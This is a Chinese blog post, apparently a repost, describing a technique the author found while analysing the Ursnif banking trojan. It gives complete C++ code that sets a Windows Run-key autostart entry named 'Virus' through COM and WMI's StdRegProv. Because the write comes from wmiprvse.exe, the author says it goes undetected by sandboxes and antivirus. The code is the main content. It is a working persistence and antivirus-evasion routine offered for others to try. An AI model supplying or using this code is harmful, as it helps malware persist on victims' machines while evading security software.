绕过安全软件设置注册表
时间:2019-06-17
本文章向大家介绍绕过安全软件设置注册表,主要包括绕过安全软件设置注册表使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
1.前言
这个设置注册表的方式利用到了COM组件,这是我分析Ursnif银行木马时发现的一种利用方式,利用COM组件调用wmi设置注册表,如果用监控工具会看到设置注册表项的系统进程wmiprvse.exe。这里用了一些沙箱测试并没有检测出设置敏感注册表的行为,国内杀软也没爆出设置了敏感注册表的警告,具体就不详细说了,感兴趣的可以自己尝试一下。这个操作不知道有没有其他大佬写过,如有冲突望告知。
2.正文
这里就直接上代码了,主要是在run下设置一个键值,这里没有其他操作了,需要管理员权限运行,然后编译时要根据系统版本编译为x86或x64。
1 #include<iostream> 2 #include<comutil.h> 3 #include<WbemIdl.h> 4 #include<tchar.h> 5 #include<Exdisp.h> 6 #include<Winhttp.h> 7 8 #pragma comment(lib,"Wbemuuid.lib") 9 #pragma comment(lib,"comsuppw.lib") 10 11 int _tmain(int argc, _TCHAR* argv[]) 12 { 13 //初始化 14 HRESULT hres = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 15 if (FAILED(hres)) 16 { 17 return 0; 18 } 19 20 //实例化 21 IWbemLocator *pLoc = NULL; 22 hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc); 23 if (FAILED(hres)) 24 { 25 CoUninitialize(); 26 return 0; 27 } 28 29 //连接到命名空间 30 IWbemServices *pSvc = NULL; 31 pLoc->ConnectServer(L"root\\default", NULL, NULL, 0, NULL, 0, 0, &pSvc); 32 33 CoSetProxyBlanket(pSvc, 10, 0, 0, 3, 3, 0, 0); 34 35 pLoc->Release(); 36 37 //获取对象StdRegProv 38 IWbemClassObject *pObject = NULL; 39 pSvc->GetObjectW(L"StdRegProv", 0, 0, &pObject, 0); 40 41 //获取方法SetDWORDValue 42 IWbemClassObject *pInSignature = NULL; 43 pObject->GetMethod(L"SetStringValue", 0, &pInSignature, 0); 44 45 //设置注册表项 46 _variant_t var1(L"2147483650"); 47 pInSignature->Put(L"hDefKey", 0, &var1, CIM_UINT32); 48 49 //设置路径 50 _variant_t var2(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); 51 pInSignature->Put(L"sSubKeyName", 0, &var2, CIM_STRING); 52 53 //设置项名 54 _variant_t var3(L"Virus"); 55 pInSignature->Put(L"sValueName", 0, &var3, CIM_STRING); 56 57 //设置值 58 _variant_t var4(L"D:\\test.exe"); 59 pInSignature->Put(L"sValue", 0, &var4, CIM_STRING); 60 61 IWbemClassObject *pOutParams = NULL; 62 pSvc->ExecMethod(L"StdRegProv", L"SetStringValue", 0, 0, pInSignature, &pOutParams, 0); 63 64 pInSignature->Release(); 65 66 pObject->Release(); 67 68 pSvc->Release(); 69 70 return 0; 71 }
结果如图
3.对com的一些看法
对于COM没有很深的了解所以也不说太多。不过COM在安全方面的利用也开始慢慢多起来了,像玩转COM对象和玩转COM对象(Part 2)中就利用到了COM进行一些骚操作。如果有对COM有兴趣的,就加群一起讨论一下吧。
原文地址:https://www.cnblogs.com/QKSword/p/11042474.html
- python concurrent.futures
- Deepmind的星际争霸2强化学习教程(1):建立环境与训练模型
- python contextlib 上下文管理器
- Django扩展自定义manage命令
- Elasticsearch分片、副本与路由(shard replica routing)
- EsRejectedExecutionException排错与线程池类型
- python重试(指数退避算法)
- 动手为王 | Oracle 数据库跨版本升级迁移实践
- 日志归档与数据挖掘
- Redis实现分布式锁
- Mybatis分页插件PageHelper的配置和使用方法
- 另类保存微信公众平台历史消息的方法 - 星标消息
- CentOS环境下Docker私有仓库搭建
- spark三种连接join
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 这一次搞懂SpringBoot核心原理(自动配置、事件驱动、Condition)
- 全网最深分析SpringBoot MVC自动配置失效的原因
- Mybatis源码初探——优雅精良的骨架
- 深入Mybatis源码——配置解析
- 深入Mybatis源码——执行流程
- Mybatis插件扩展以及与Spring整合原理
- 你所不知道的Spring的@Autowired实现细节
- modbus-RTU-crc16——c语言
- KEIL 生成 Binaxf 文件
- Istio可观测性
- 大点干!早点散----------使用Haproxy搭建web群集
- 嵌入式系统FreeRTOS — 互斥信号量
- 面试题系列第6篇:JVM字符串常量池及String的intern方法详解?
- 机器学习(一)——K-近邻(KNN)算法
- 机器学习(二)——K-均值聚类(K-means)算法